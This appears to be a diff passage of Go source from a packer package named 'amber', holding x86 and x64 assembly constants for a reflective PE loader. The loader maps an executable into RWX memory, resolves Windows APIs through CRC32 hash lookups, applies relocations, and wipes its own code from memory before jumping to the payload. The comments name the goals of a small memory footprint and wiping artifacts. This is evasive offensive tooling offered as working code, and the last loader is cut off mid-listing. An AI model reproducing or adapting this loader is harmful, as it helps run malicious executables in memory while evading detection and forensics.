add rax,rsi ; Import table memory address (first image import descriptor)
|
||||||
|
push rax ; Save import descriptor to stack
|
||||||
|
get_modules:
|
||||||
|
cmp dword [rax],0 ; Check if the import names table RVA is NULL
|
||||||
|
jz complete ; If yes building process is done
|
||||||
|
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
|
||||||
|
add rcx,rsi ; Get the dll name address
|
||||||
|
call LoadLibraryA ; Load the library
|
||||||
|
mov r13,rax ; Move the dll handle to R13
|
||||||
|
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||||
|
call get_procs ; Resolve all windows API function addresses
|
||||||
|
add dword [rsp],0x14 ; Move to the next import descriptor
|
||||||
|
mov rax,[rsp] ; Set the new import descriptor address to RAX
|
||||||
|
jmp get_modules
|
||||||
|
get_procs:
|
||||||
|
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
|
||||||
|
add r14,rsi ; Get the IAT memory address
|
||||||
|
mov rax,[rax] ; Set the import names table RVA to RAX
|
||||||
|
add rax,rsi ; Get the current import descriptor's import names table address
|
||||||
|
mov r15,rax ; Save &INT to R15
|
||||||
|
resolve:
|
||||||
|
cmp dword [rax],0 ; Check if end of the import names table
|
||||||
|
jz all_resolved ; If yes resolving stage is done
|
||||||
|
mov rax,[rax] ; Get the RVA of function hint to eax
|
||||||
|
btr rax,0x3F ; Check if the high order bit is set
|
||||||
|
jnc name_resolve ; If high order bit is not set resolve with INT entry
|
||||||
|
shl rax,2 ; Discard the high bit by shifting
|
||||||
|
shr rax,2 ; Shift back the original value
|
||||||
|
call GetProcAddress ; Get API address with hint
|
||||||
|
jmp insert_iat ; Insert the address of API to IAT
|
||||||
|
name_resolve:
|
||||||
|
add rax,rsi ; Set the address of function hint
|
||||||
|
add rax,2 ; Move to function name
|
||||||
|
call GetProcAddress ; Get the function address to eax
|
||||||
|
insert_iat:
|
||||||
|
mov [r14],rax ; Insert the function address to IAT
|
||||||
|
add r14,8 ; Increase the IAT index
|
||||||
|
add r15,8 ; Increase the import names table index
|
||||||
|
mov rax,r15 ; Set the address of import names table address to RAX
|
||||||
|
jmp resolve ; Loop
|
||||||
|
all_resolved:
|
||||||
|
mov qword [r14],0 ; Insert a NULL qword
|
||||||
|
ret ; <-
|
||||||
|
LoadLibraryA:
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
|
call api_call ; LoadLibraryA(RCX)
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
ret ; <-
|
||||||
|
GetProcAddress:
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
||||||
|
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
||||||
|
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||||
|
call api_call ; GetProcAddress(RCX,RDX)
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
ret ; <-
|
||||||
|
complete:
|
||||||
|
pop rax ; Clean out the stack
|
||||||
|
pop rax ; ...
|
||||||
|
pop rcx ; Pop the image_size to RCX
|
||||||
|
push rbx ; Push the new base adress to stack
|
||||||
|
add [rsp],r12 ; Add the address of entry value to new base address
|
||||||
|
memcpy:
|
||||||
|
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||||
|
mov byte [rbx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
|
inc rsi ; Increase PE image index
|
||||||
|
inc rbx ; Increase image base index
|
||||||
|
loop memcpy ; Loop until zero
|
||||||
|
jmp PE_start ; Wipe artifacts from memory and start PE
|
||||||
|
%s
|
||||||
|
PE_start:
|
||||||
|
mov rcx,wipe ; Get the number of bytes until wipe label
|
||||||
|
lea rax,[rip] ; Get RIP to RAX
|
||||||
|
nop ; Padding
|
||||||
|
wipe:
|
||||||
|
mov byte [rax],0 ; Wipe 1 byte at a time
|
||||||
|
dec rax ; Decraise RAX
|
||||||
|
loop wipe ; Loop until RCX = 0
|
||||||
|
%s
|
||||||
|
ret ; Return to AOE
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// FixedLoaderX86 contains the 64 bit PE loader for non-relocatable PE files
|
||||||
|
const FixedLoaderX86 = `
|
||||||
|
start: ;
|
||||||
|
cld ; Clear direction flags
|
||||||
|
pop esi ; Get the address of image to esi
|
||||||
|
call get_ip ; Push the current EIP to stack
|
||||||
|
get_ip:
|
||||||
|
sub [esp],esi ; Subtract &PE from EIP and get image_size
|
||||||
|
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||||
|
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||||
|
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||||
|
push eax ; Save the address of entry to stack
|
||||||
|
push ebx ; Save image base to stack
|
||||||
|
push 0x00000000 ; Allocate a DWORD variable inside stack
|
||||||
|
push esp ; lpflOldProtect
|
||||||
|
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
|
push dword [esp+0x14] ; dwSize
|
||||||
|
push ebx ; lpAddress
|
||||||
|
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
|
||||||
|
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
||||||
|
pop eax ; Fix the stack
|
||||||
|
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||||
|
add eax,esi ; Import table memory address (first image import descriptor)
|
||||||
|
push eax ; Save the address of import descriptor to stack
|
||||||
|
get_modules:
|
||||||
|
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
||||||
|
jz complete ; If yes building process is done
|
||||||
|
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||||
|
add eax,esi ; Get the dll name address
|
||||||
|
call LoadLibraryA ; Load the library
|
||||||
|
mov ebx,eax ; Move the dll handle to ebx
|
||||||
|
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||||
|
call get_procs ; Resolve all windows API function addresses
|
||||||
|
add dword [esp],0x14 ; Move to the next import descriptor
|
||||||
|
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||||
|
jmp get_modules
|
||||||
|
get_procs:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||||
|
add [esp],esi ; Get the IAT memory address
|
||||||
|
mov eax,[eax] ; Set the import names table RVA to eax
|
||||||
|
add eax,esi ; Get the current import descriptor's import names table address
|
||||||
|
push eax ; Save it to stack
|
||||||
|
resolve:
|
||||||
|
cmp dword [eax],0x00 ; Check if end of the import names table
|
||||||
|
jz all_resolved ; If yes resolving process is done
|
||||||
|
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||||
|
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||||
|
js name_resolve ; If high order bit is not set resolve with INT entry
|
||||||
|
sub eax,0x80000000 ; Zero out the high bit
|
||||||
|
call GetProcAddress ; Get the API address with hint
|
||||||
|
jmp insert_iat ; Insert the address of API tı IAT
|
||||||
|
name_resolve:
|
||||||
|
add eax,esi ; Set the address of function hint
|
||||||
|
add eax,0x02 ; Move to function name
|
||||||
|
call GetProcAddress ; Get the function address to eax
|
||||||
|
insert_iat:
|
||||||
|
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||||
|
mov [ecx],eax ; Insert the function address to IAT
|
||||||
|
add dword [esp],0x04 ; Increase the import names table index
|
||||||
|
add dword [esp+4],0x04 ; Increase the IAT index
|
||||||
|
mov eax,[esp] ; Set the address of import names table address to eax
|
||||||
|
jmp resolve ; Loop
|
||||||
|
all_resolved:
|
||||||
|
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||||
|
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||||
|
pop ecx ; Deallocate index values
|
||||||
|
pop ecx ; ...
|
||||||
|
pop ecx ; Put back the ecx value
|
||||||
|
ret ; <-
|
||||||
|
LoadLibraryA:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push edx ; Save edx to stack
|
||||||
|
push eax ; Push the address of linrary name string
|
||||||
|
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
|
||||||
|
call api_call ; LoadLibraryA([esp+4])
|
||||||
|
pop edx ; Retreive edx
|
||||||
|
pop ecx ; Retreive ecx
|
||||||
|
ret ; <-
|
||||||
|
GetProcAddress:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push edx ; Save edx to stack
|
||||||
|
push eax ; Push the address of proc name string
|
||||||
|
push ebx ; Push the dll handle
|
||||||
|
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
|
||||||
|
call api_call ; GetProcAddress(ebx,[esp+4])
|
||||||
|
pop edx ; Retrieve edx
|
||||||
|
pop ecx ; Retrieve ecx
|
||||||
|
ret ; <-
|
||||||
|
complete:
|
||||||
|
pop eax ; Clean out the stack
|
||||||
|
pop edi ; ..
|
||||||
|
mov edx,edi ; Copy the address of new base to EDX
|
||||||
|
pop eax ; Pop the address_of_entry to EAX
|
||||||
|
add edi,eax ; Add the address of entry to new image base
|
||||||
|
pop ecx ; Pop the image_size to ECX
|
||||||
|
memcpy:
|
||||||
|
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||||
|
mov byte [edx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
|
inc esi ; Increase PE image index
|
||||||
|
inc edx ; Increase image base index
|
||||||
|
loop memcpy ; Loop until ECX = 0
|
||||||
|
jmp PE_start ; Wipe artifacts from memory and start PE
|
||||||
|
%s
|
||||||
|
PE_start:
|
||||||
|
%s
|
||||||
|
mov ecx,wipe ; Get the number of bytes until wipe label
|
||||||
|
call wipe_start ; Call wipe_start
|
||||||
|
wipe_start:
|
||||||
|
pop eax ; Get EIP to EAX
|
||||||
|
wipe:
|
||||||
|
mov byte [eax],0 ; Wipe 1 byte at a time
|
||||||
|
dec eax ; Decraise EAX
|
||||||
|
loop wipe ; Loop until ECX = 0
|
||||||
|
jmp edi ; Call the AOE
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// IAT64 https://github.com/EgeBalci/IAT_API
|
||||||
|
const IAT64 = `
|
||||||
|
|
||||||
|
api_call:
|
||||||
|
push r9 ; Save the 4th parameter
|
||||||
|
push r8 ; Save the 3rd parameter
|
||||||
|
push rdx ; Save the 2nd parameter
|
||||||
|
push rcx ; Save the 1st parameter
|
||||||
|
push rsi ; Save RSI
|
||||||
|
xor rdx,rdx ; Zero rdx
|
||||||
|
mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB
|
||||||
|
mov rdx,[rdx+0x18] ; Get PEB->Ldr
|
||||||
|
mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list
|
||||||
|
mov rdx,[rdx+0x20] ; Get this modules base address
|
||||||
|
push rdx ; Save the image base to stack (will use this alot)
|
||||||
|
add dx,word [rdx+0x3C] ; "PE" Header
|
||||||
|
mov edx,dword [rdx+0x90]; Import table RVA
|
||||||
|
add rdx,[rsp] ; Address of Import Table
|
||||||
|
push rdx ; Save the &IT to stack (will use this alot)
|
||||||
|
mov rsi,[rsp+8] ; Move the image base to RSI
|
||||||
|
sub rsp,0x10 ; Allocate space for import descriptor counter & hash
|
||||||
|
sub rdx,0x14 ; Prepare import descriptor pointer for processing
|
||||||
|
next_desc:
|
||||||
|
add rdx,0x14 ; Get the next import descriptor
|
||||||
|
cmp dword [rdx],0 ; Check if import descriptor is valid
|
||||||
|
jz not_found ; If import name array RVA is zero finish parsing
|
||||||
|
mov rsi,[rsp+0x10] ; Move import table address to RSI
|
||||||
|
mov si,[rdx+0xC] ; Get pointer to module name string RVA
|
||||||
|
xor rdi,rdi ; Clear RDI which will store the hash of the module name
|
||||||
|
loop_modname:
|
||||||
|
xor rax,rax ; Clear RAX for calculating the hash
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al,'a' ; Some versions of windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al,0x20 ; If so normalize to uppercase
|
||||||
|
not_lowercase:
|
||||||
|
crc32 edi,al ; Calculate CRC32 of module name
|
||||||
|
crc32 edi,ah ; Feed NULL for unicode effect
|
||||||
|
test al,al ; Check if end of the module name
|
||||||
|
jnz loop_modname ;
|
||||||
|
; We now have the module hash computed
|
||||||
|
mov [rsp+8],rdx ; Save the current position in the module listfor later
|
||||||
|
mov [rsp],edi ; Save the current module hash for later
|
||||||
|
; Proceed to itterate the export address table,
|
||||||
|
mov ecx,dword [rdx] ; Get RVA of import names table
|
||||||
|
add rcx,[rsp+0x18] ; Add the image base and get the address of import names table
|
||||||
|
sub rcx,8 ; Go 4 bytes back
|
||||||
|
get_next_func: ;
|
||||||
|
mov rdi,[rsp] ; Reset module hash
|
||||||
|
add rcx,8 ; 8 byte forward
|
||||||
|
cmp dword [rcx],0 ; Check if end of INT
|
||||||
|
jz next_desc ; If no INT present, process the next import descriptor
|
||||||
|
mov esi,dword [rcx] ; Get the RVA of func name hint
|
||||||
|
btr rax,0x3F ; Check if the high order bit is set
|
||||||
|
btr rsi,0x3F ; Check if the high order bit is set
|
||||||
|
jc get_next_func ; If high order bit is not set resolve with INT entry
|
||||||
|
add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint
|
||||||
|
add rsi,2 ; Move 2 bytes forward to asci function name
|
||||||
|
; now ecx returns to its regularly scheduled counter duties
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname:
|
||||||
|
xor rax,rax ; Clear RAX
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
crc32 edi,al ; Calculate CRC32 of the function name
|
||||||
|
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
cmp edi,r10d ; Compare the hash to the one we are searchnig for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT
|
||||||
|
mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor
|
||||||
|
add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor
|
||||||
|
sub rcx,rdx ; Find the function array index ?
|
||||||
|
add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA
|
||||||
|
add rax,rcx ; Add the function index
|
||||||
|
; Now clean the stack
|
||||||
|
; We now fix up the stack and perform the call to the drsired function...
|
||||||
|
finish:
|
||||||
|
pop r8 ; Clear off the current modules hash
|
||||||
|
pop r8 ; Clear off the current position in the module list
|
||||||
|
pop r8 ; Clear off the import table address of last module
|
||||||
|
pop r8 ; Clear off the image base address of last module
|
||||||
|
pop rsi ; Restore RSI
|
||||||
|
pop rcx ; Restore the 1st parameter
|
||||||
|
pop rdx ; Restore the 2nd parameter
|
||||||
|
pop r8 ; Restore the 3rd parameter
|
||||||
|
pop r9 ; Restore the 4th parameter
|
||||||
|
pop r10 ; Pop off the return address
|
||||||
|
sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||||
|
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||||
|
push r10 ; Push back the return address
|
||||||
|
mov rax,[rax] ; Get the address of the desired API
|
||||||
|
jmp rax ; Jump to target function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
not_found:
|
||||||
|
add rsp,0x48 ; Clean out the stack
|
||||||
|
ret ; Return to caller
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,90 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// IAT32 https://github.com/EgeBalci/IAT_API
|
||||||
|
const IAT32 = `
|
||||||
|
|
||||||
|
api_call:
|
||||||
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
|
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||||
|
mov edx,fs:[eax+0x30] ; Get a pointer to the PEB
|
||||||
|
mov edx,[edx+0x0C] ; Get PEB->Ldr
|
||||||
|
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
|
||||||
|
mov edx,[edx+0x10] ; Get this modules base address
|
||||||
|
push edx ; Save the image base to stack (will use this alot)
|
||||||
|
add edx,[edx+0x3C] ; "PE" Header
|
||||||
|
mov edx,[edx+0x80] ; Import table RVA
|
||||||
|
add edx,[esp] ; Address of Import Table
|
||||||
|
push edx ; Save the &IT to stack (will use this alot)
|
||||||
|
mov esi,[esp+4] ; Move the image base to ESI
|
||||||
|
sub esp,0x08 ; Allocate space for import descriptor counter & hash
|
||||||
|
sub edx,0x14 ; Prepare the import descriptor pointer for processing
|
||||||
|
next_desc:
|
||||||
|
add edx,0x14 ; Get the next import descriptor
|
||||||
|
cmp dword [edx],0x00 ; Check if import descriptor valid
|
||||||
|
jz not_found ; If import name array RVA is zero finish parsing
|
||||||
|
mov esi,[esp+0x08] ; Move the import table address to esi
|
||||||
|
mov si,[edx+0x0C] ; Get pointer to module name string RVA
|
||||||
|
xor edi,edi ; Clear EDI which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al,'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
crc32 edi,al ; Calculate CRC32 of module name
|
||||||
|
crc32 edi,ah ; Add NULL for unicode effect
|
||||||
|
test al,al ; Check if we read all
|
||||||
|
jnz loop_modname
|
||||||
|
; We now have the module hash computed
|
||||||
|
mov [esp+4],edx ; Save the current position in the module list for later
|
||||||
|
mov [esp],edi ; Save the current module hash for later
|
||||||
|
; Proceed to iterate the export address table,
|
||||||
|
mov ecx,[edx] ; Get the RVA of import names table
|
||||||
|
add ecx,[esp+0x0C] ; Add image base and get address of import names table
|
||||||
|
sub ecx,0x04 ; Go 4 byte back
|
||||||
|
get_next_func:
|
||||||
|
mov edi,dword [esp]
|
||||||
|
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||||
|
add ecx,0x04 ; 4 byte forward
|
||||||
|
cmp dword [ecx],0x00 ; Check if end of INT
|
||||||
|
jz next_desc ; If no INT present, process the next import descriptor
|
||||||
|
mov esi,[ecx] ; Get the RVA of func name hint
|
||||||
|
cmp esi,0x80000000 ; Check if the high order bit is set
|
||||||
|
jns get_next_func ; If not, there is no function name string :(
|
||||||
|
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
|
||||||
|
add dword esi,0x02 ; Move 2 bytes forward to asci function name
|
||||||
|
; now ecx returns to its regularly scheduled counter duties
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
crc32 edi,al ; Calculate CRC32 of function name
|
||||||
|
test al,al ; Check if AL == 0
|
||||||
|
jnz loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
|
||||||
|
mov edx,[edx] ; Get the import names table RVA of current import descriptor
|
||||||
|
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
|
||||||
|
sub ecx,edx ; Find the function array index ?
|
||||||
|
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
|
||||||
|
add eax,ecx ; Add the function index
|
||||||
|
; Now we clean the stack
|
||||||
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
|
finish:
|
||||||
|
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
|
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
|
||||||
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
|
pop ebx ; Pop off the origional return address our caller will have pushed
|
||||||
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
|
push ebx ; Push back the return address
|
||||||
|
mov eax,[eax] ; Get the address of the desired API
|
||||||
|
jmp eax ; Jump to target function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
not_found:
|
||||||
|
add esp,0x0F ; Fix the stack
|
||||||
|
popad ; Restore all registers
|
||||||
|
ret ; Return
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// LoaderX64 contains the 64 bit PE loader for relocatable PE files
|
||||||
|
const LoaderX64 = `
|
||||||
|
start:
|
||||||
|
pop rsi ; Get the address of image to rsi
|
||||||
|
call get_ip ; Push the current EIP to stack
|
||||||
|
get_ip:
|
||||||
|
cld ; Clear direction flags
|
||||||
|
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
|
||||||
|
mov rbp,rsp ; Copy current stack address to rbp
|
||||||
|
and rbp,-0x1000 ; Create a new shadow stack address
|
||||||
|
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
|
||||||
|
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
|
||||||
|
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
|
||||||
|
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||||
|
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
||||||
|
mov rdx,[rsp] ; dwSize
|
||||||
|
xor rcx,rcx ; lpAddress
|
||||||
|
xchg rsp,rbp ; Swap shadow stack
|
||||||
|
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
|
||||||
|
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||||
|
xchg rsp,rbp ; Swap shadow stack
|
||||||
|
mov rdi,rax ; Save the new base address to rdi
|
||||||
|
xor rax,rax ; Zero out the RAX
|
||||||
|
xor r8,r8 ; Zero out the R8
|
||||||
|
xor r13,r13 ; Zero out the R13
|
||||||
|
xor r14,r14 ; Zero out the R14
|
||||||
|
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
|
||||||
|
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
|
||||||
|
add rax,rsi ; Base relocation table memory address
|
||||||
|
add rcx,rax ; End of base relocation table
|
||||||
|
calc_delta:
|
||||||
|
mov rdx,rdi ; Move the new base address to rdx
|
||||||
|
sub rdx,rbx ; Delta value
|
||||||
|
mov r13d,dword [rax] ; Move the reloc RVA to R13D
|
||||||
|
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
|
||||||
|
add rax,8 ; Move to the reloc descriptor
|
||||||
|
jmp fix ; Start fixing
|
||||||
|
get_rva:
|
||||||
|
cmp rcx,rax ; Check if the end of the reloc section
|
||||||
|
jle reloc_fin ; If yes goto fin
|
||||||
|
mov r13d,dword [rax] ; Move the new reloc RVA
|
||||||
|
mov r14d,dword [rax+4] ; Move the new reloc table size
|
||||||
|
add rax,8 ; Move 8 bytes
|
||||||
|
fix:
|
||||||
|
cmp r14w,8 ; Check if the end of the reloc block
|
||||||
|
jz get_rva ; If yes set the next block RVA
|
||||||
|
mov r8w,word [rax] ; Move the reloc desc to r8w
|
||||||
|
cmp r8w,0 ; Check if it is a padding word
|
||||||
|
je pass ; Pass padding bytes
|
||||||
|
and r8w,0x0FFF ; Get the last 12 bits
|
||||||
|
add r8d,r13d ; Add block RVA to desc value
|
||||||
|
add r8,rsi ; Add the start address of the image
|
||||||
|
add [r8],rdx ; Add the delta value to calculated absolute address
|
||||||
|
pass:
|
||||||
|
sub r14d,2 ; Decrease the index
|
||||||
|
add rax,2 ; Move to the next reloc desc.
|
||||||
|
xor r8,r8 ; Zero out r8
|
||||||
|
jmp fix ; Loop
|
||||||
|
reloc_fin: ; All done !
|
||||||
|
xor r14,r14 ; Zero out r14
|
||||||
|
xor r15,r15 ; Zero out r15
|
||||||
|
xor rcx,rcx ; Zero out rcx
|
||||||
|
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov eax,dword [rax+rsi+0x90] ; Import table RVA
|
||||||
|
add rax,rsi ; Import table memory address (first image import descriptor)
|
||||||
|
push rax ; Save import descriptor to stack
|
||||||
|
get_modules:
|
||||||
|
cmp dword [rax],0 ; Check if the import names table RVA is NULL
|
||||||
|
jz complete ; If yes building process is done
|
||||||
|
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
|
||||||
|
add rcx,rsi ; Get the dll name address
|
||||||
|
call LoadLibraryA ; Load the library
|
||||||
|
mov r13,rax ; Move the dll handle to R13
|
||||||
|
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||||
|
call get_procs ; Resolve all windows API function addresses
|
||||||
|
add dword [rsp],0x14 ; Move to the next import descriptor
|
||||||
|
mov rax,[rsp] ; Set the new import descriptor address to eax
|
||||||
|
jmp get_modules ; Get other modules
|
||||||
|
get_procs:
|
||||||
|
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
|
||||||
|
add r14,rsi ; Get the IAT memory address
|
||||||
|
mov rax,[rax] ; Set the import names table RVA to eax
|
||||||
|
add rax,rsi ; Get the current import descriptor's import names table address
|
||||||
|
mov r15,rax ; Save &INT to R15
|
||||||
|
resolve:
|
||||||
|
cmp dword [rax],0 ; Check if end of the import names table
|
||||||
|
jz all_resolved ; If yes resolving process is done
|
||||||
|
mov rax,[rax] ; Get the RVA of function hint to eax
|
||||||
|
btr rax,0x3F ; Check if the high order bit is set
|
||||||
|
jnc name_resolve ; If high order bit is not set resolve with INT entry
|
||||||
|
shl rax,2 ; Discard the high bit by shifting
|
||||||
|
shr rax,2 ; Shift back the original value
|
||||||
|
call GetProcAddress ; Get the API address with hint
|
||||||
|
jmp insert_iat ; Insert the address of API tı IAT
|
||||||
|
name_resolve:
|
||||||
|
add rax,rsi ; Set the address of function hint
|
||||||
|
add rax,2 ; Move to function name
|
||||||
|
call GetProcAddress ; Get the function address to eax
|
||||||
|
insert_iat:
|
||||||
|
mov [r14],rax ; Insert the function address to IAT
|
||||||
|
add r14,8 ; Increase the IAT index
|
||||||
|
add r15,8 ; Increase the import names table index
|
||||||
|
mov rax,r15 ; Set the address of import names table address to eax
|
||||||
|
jmp resolve ; Loop
|
||||||
|
all_resolved:
|
||||||
|
mov qword [r14],0 ; Insert a NULL qword
|
||||||
|
ret ; <-
|
||||||
|
LoadLibraryA:
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
|
||||||
|
call api_call ; LoadLibraryA(RCX)
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
ret ; <-
|
||||||
|
GetProcAddress:
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
||||||
|
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
||||||
|
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
|
||||||
|
call api_call ; GetProcAddress(ebx,[esp+4])
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
ret ; <-
|
||||||
|
complete:
|
||||||
|
pop rax ; Clean out the stack
|
||||||
|
pop rcx ; Pop the ImageSize into RCX
|
||||||
|
push rdi ; Save ImageBase to stack
|
||||||
|
mov r13,rdi ; Copy the new base value to r13
|
||||||
|
add r13,r12 ; Add the address of entry value to new base address
|
||||||
|
memcpy:
|
||||||
|
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||||
|
mov byte [rdi],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
|
inc rsi ; Increase PE image index
|
||||||
|
inc rdi ; Increase image base index
|
||||||
|
loop memcpy ; Loop until zero
|
||||||
|
pop r13 ; Pop the image base to r13
|
||||||
|
or rcx,-1 ; hProcess
|
||||||
|
xor rdx,rdx ; lpBaseAddress
|
||||||
|
xor r8,r8 ; hProcess
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
|
||||||
|
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
|
||||||
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
|
add r13,r12 ; Add the address of entry value to image base
|
||||||
|
jmp PE_start ; Wipe artifacts from memory and start PE
|
||||||
|
%s
|
||||||
|
PE_start:
|
||||||
|
mov rcx,wipe ; Get the number of bytes until wipe label
|
||||||
|
lea rax,[rip] ; Get RIP to RAX
|
||||||
|
nop ; Padding
|
